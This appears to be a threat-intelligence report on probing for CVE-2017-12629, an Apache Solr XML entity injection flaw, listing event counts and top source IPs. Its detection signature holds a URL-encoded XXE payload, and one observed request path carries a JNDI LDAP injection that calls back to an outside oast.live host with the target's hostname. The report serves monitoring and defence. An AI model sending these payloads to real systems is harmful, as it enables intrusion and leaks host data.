CVE report
CVE-2017-12629critical
Apache Solr <= 7.1 - XML Entity Injection
Events 90d
3,436
Distinct IPs
207
Severity
critical
CISA KEV
Not listed
Detection signature
An event counts toward CVE-2017-12629 when its URL path contains any of these (case-insensitive). This is what our matching is based on.
- · /solr/admin/cores
- · /solr//select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2F%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser
Pre-disclosure activity
all early actors →Analysing probe history around the publication date…
Recent probe volume (last 7 days)
peak: 79 events/dayeventsdistinct IPs
Downloads & integrations
Top sources probing for CVE-2017-12629
- 137.184.31.12169 eventsUnited States· DigitalOcean, LLC
- 159.89.236.2964 eventsUnited States· DigitalOcean, LLC
- 24.144.98.3744 eventsUnited States· DigitalOcean, LLC
- 157.245.247.13943 eventsUnited States· DigitalOcean, LLC
- 161.35.113.4742 eventsUnited States· DigitalOcean, LLC
- 142.93.55.20841 eventsUnited States· DigitalOcean, LLC
- 167.99.229.11641 eventsUnited States· DigitalOcean, LLC
- 161.35.5.18341 eventsUnited States· DigitalOcean, LLC
- 146.190.64.8740 eventsUnited States· DigitalOcean, LLC
- 157.230.224.17540 eventsUnited States· DigitalOcean, LLC
- 167.99.151.22540 eventsUnited States· DigitalOcean, LLC
- 147.182.213.4340 eventsUnited States· DigitalOcean, LLC
- 143.198.165.11739 eventsUnited States· DigitalOcean, LLC
- 167.99.234.2739 eventsUnited States· DigitalOcean, LLC
- 206.189.193.12739 eventsUnited States· DigitalOcean, LLC
- 206.189.230.6139 eventsUnited States· DigitalOcean, LLC
- 134.122.21.3639 eventsUnited States· DigitalOcean, LLC
- 165.22.176.1638 eventsUnited States· DigitalOcean, LLC
- 67.205.130.20538 eventsUnited States· DigitalOcean, LLC
- 157.230.187.19237 eventsUnited States· DigitalOcean, LLC
- 165.227.200.4137 eventsUnited States· DigitalOcean, LLC
- 146.190.70.24637 eventsUnited States· DigitalOcean, LLC
- 64.227.21.12536 eventsUnited States· DigitalOcean, LLC
- 165.227.196.1336 eventsUnited States· DigitalOcean, LLC
- 143.198.164.23536 eventsUnited States
- 68.183.122.2135 eventsUnited States· DigitalOcean, LLC
- 198.211.106.3235 eventsUnited States· DigitalOcean, LLC
- 104.248.48.3434 eventsUnited States· DigitalOcean, LLC
- 147.182.178.3634 eventsUnited States· DigitalOcean, LLC
- 68.183.111.24534 eventsUnited States· DigitalOcean, LLC
Top networks the attempts come from
Fingerprints of the clients exploiting this
The HTTP (JA4H) and TLS (JA4) fingerprints seen on these attempts. Click one to see the whole population that carries it.
Sample request paths observed
- /solr/admin/cores?action=%24%7Bjndi%3Aldap%3A%2F%2F%24%7B%3A-310%7D%24%7B%3A-763%7D.%24%7BhostName%7D.uri.d83ilri1dk0477fthfq0rrhxt7j8sysu6.oast.live%2F%7D
- /solr/admin/cores?action=STATUS&wt=json
- /solr/admin/cores?indexInfo=false&wt=json
- /solr/admin/cores?wt=json